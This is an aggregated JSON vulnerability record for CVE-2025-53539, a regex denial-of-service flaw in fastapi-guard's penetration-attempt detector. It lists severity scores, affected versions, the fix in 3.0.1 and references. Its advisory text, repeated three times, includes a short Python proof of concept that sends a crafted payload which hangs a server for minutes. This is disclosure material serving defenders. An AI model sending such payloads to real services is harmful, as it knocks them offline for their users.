{"id":"CVE-2025-53539","aliases":["EUVD-2025-20307","GHSA-j47q-rc62-w448","PYSEC-2026-1359"],"status":"published","title":"ReDoS in fastapi-guard's penetration attempts detector","description":"FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00481,"percentile":0.4185,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2025-07-07T19:16:02Z","modified":"2026-10-28T02:30:31Z","fixes":[{"ecosystem":"PyPI","package":"fastapi-guard","fixed_in":["3.0.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"fastapi-guard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.0.0"},{"fixed":"3.0.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"fastapi-guard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.1"}]}],"versions":["0.1.0","0.2.0","0.3.2","0.3.3","0.3.4","0.4.0","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.3.2","1.4.0","1.5.0","2.0.0","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","3.0.0"]},{"source":"osv","ecosystem":"PyPI","package":"fastapi-guard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.1"}]}],"versions":["0.1.0","0.2.0","0.3.2","0.3.3","0.3.4","0.4.0","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.3.2","1.4.0","1.5.0","2.0.0","2.0.1","2.1.0","2.1.1","2.1.2","2.1.3","3.0.0"]}],"products":[{"vendor":"fastapi-guard","product":"fastapi_guard"},{"vendor":"rennf93","product":"fastapi-guard"}],"references":[{"url":"https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53539","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-j47q-rc62-w448","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/53xxx/CVE-2025-53539.json","tags":["advisory"]},{"url":"https://github.com/rennf93/fastapi-guard","tags":["package"]},{"url":"https://pypi.org/project/fastapi-guard","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-53539","title":"ReDoS in fastapi-guard's penetration attempts detector","description":"FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.","status":"published","published":"2025-07-07T19:16:02.559Z","modified":"2025-07-07T20:51:58.541Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:32:48.853452Z"}],"euvd":[{"id":"EUVD-2025-20307","description":"FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.","status":"published","published":"2025-07-07T19:16:02Z","modified":"2025-07-07T20:51:58Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T20:32:13.001759Z"}],"ghsa":[{"id":"GHSA-j47q-rc62-w448","title":"fastapi-guard is vulnerable to ReDoS through inefficient regex","description":"### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: '\u003c'*n+ ' '*n+ 'style=' + '\"'*n + ' '*n+ 'url('*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (\u003e15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.","status":"published","published":"2025-07-07T23:36:39Z","modified":"2025-12-31T22:50:34Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:39:15.106458Z"}],"nvd":[{"id":"CVE-2025-53539","description":"FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.","status":"published","published":"2025-07-07T20:15:28.027Z","modified":"2026-06-17T09:38:24.673Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:11:16.997062Z"}],"osv":[{"id":"CVE-2025-53539","title":"ReDoS in fastapi-guard's penetration attempts detector","description":"FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.","status":"published","published":"2025-07-07T19:16:02.559Z","modified":"2026-10-28T02:30:31.377393684Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:44:50.45326Z"},{"id":"GHSA-j47q-rc62-w448","title":"fastapi-guard is vulnerable to ReDoS through inefficient regex","description":"### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: '\u003c'*n+ ' '*n+ 'style=' + '\"'*n + ' '*n+ 'url('*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (\u003e15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.","status":"published","published":"2025-07-07T23:36:39Z","modified":"2026-07-07T17:56:52.023285837Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"PYSEC-2026-1359","title":"fastapi-guard is vulnerable to ReDoS through inefficient regex","description":"### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: '\u003c'*n+ ' '*n+ 'style=' + '\"'*n + ' '*n+ 'url('*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (\u003e15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.","status":"published","published":"2026-07-07T16:02:57.283672Z","modified":"2026-07-07T17:47:35.930780691Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T15:52:54.622769Z"}]}}